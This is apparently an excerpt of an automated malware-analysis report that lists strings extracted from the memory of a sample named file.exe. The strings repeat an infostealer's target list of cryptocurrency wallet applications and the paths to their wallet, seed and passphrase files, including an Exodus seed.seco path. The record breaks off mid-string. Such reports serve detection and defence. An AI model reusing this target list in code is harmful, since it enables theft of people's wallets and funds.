Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 